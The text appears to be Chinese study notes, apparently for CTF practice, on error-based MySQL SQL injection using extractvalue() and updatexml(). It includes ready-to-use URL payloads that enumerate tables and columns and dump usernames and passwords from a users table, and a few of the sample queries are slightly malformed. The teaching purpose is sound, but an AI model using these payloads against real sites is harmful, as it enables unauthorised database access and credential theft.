一.报错注入
1.什么是报错注入?
这是一种页面响应形式,响应过程如下:
用户在前台页面输入检索内容----->后台将前台输入的检索内容无加区别的拼接成sql语句,送给数据库执行------>数据库将执行的结果返回给后台,后台将数据库执行的结果无加区别的显示到前台页面上
两个"无加区别":后台对于输入输出的合理性没有做检查(引起报错注入存在的基础)
通过看这个页面是否有回显来判断是否用报错注入
构造语句,让错误信息中夹杂可以显示数据库内容的查询语句
二.常用函数
主要用1,2,3
1.通过extractValue()报错注入
函数extractValue()包含两个参数
第一个 参数XML文档对象名称,第二个参数 路径
以创建数据库ctfstu和数据表xml为示例,展示函数extractValue()的用法
(1)先在ctfstu数据库内创建表xml
>create database ctfstu charset utf8;
>create table xml(doc varchar(150));
(2)在表内插入两段数据
insert into xml values('
<book>
<title>A bad boy how to get a girlfriend</title>
<author>
<initial>Love</initial>
<surname>benben</surname>
</author>
</book>
');
insert into xml values('
<book>
<title>how to become a bad boy</title>
<author>
<initial>hualong</initial>
<surname>Melton</surname>
</author>
</book>
');
(3)使用extractValue()查询xml里面的内容
查询作者是谁
>select extractvalue(doc,'/book/author/surname')from xml;
如果需要查询书名则可以用如下命令
>select extractvalue(doc,'/book/title') from xml;
把查询参数路径写错----->查询不到内容,但不会报错
>select extractValue(doc,concat(0x7e,(select);
把查询参数格式符号写错(例如book前面的/写成~)------>提示报错信息 [我们需要通过报错信息来尝试报错出我们需要的信息]
然后就构造下面这句
>select extractvalue(dox,concat(0x7e,(select database()))) from, xml;
(dox 可以随意写)
?/id=100' union select 1,extractvalue(1,concat(0x7e,(select database()))),3 --+
?/id=100' and 1,extractvalue(1,concat(0x7e,(select database()))) --+
0x7e 是 ~ 的ASCLL码
(4)获取所需数据表表名users
?id=100' and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
(5) 获取所需数据列列名username 和 password
?id=100' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) --+
(6)显示内容
?id=100' and 1=extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from users))) --+
或者
?id=1' union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(username,,password) from users))) --+
默认只能显示返回32个字符
使用函数substring解决只能返回32个字符串问题
select substring(123456,1,3) 第一个参数是要控制输出的字符串,第二个参数是从那个地方开始显示,第三个参数是一次要显示几个字符
2.updatexml报错注入
函数updatexml(XML_document,XPath_string,new_value)包含三个参数
第一个参数: XML_document是string格式,为XML文档对象的名称,例如Doc
第二个参数:XPath_string是路径,XPath格式的字符串
第三个参数:new_value,string格式,替换查找到符合条件的数据
updatexml报错原理:
同extractvalue(),输入错误的第二个参数,即更改路径的符号
正常句式
>select updatexml(doc,'/book/auther/surname','1') from xml;
错误句式
>select updatexml(doc,'~book/auther/surname','1') from xml;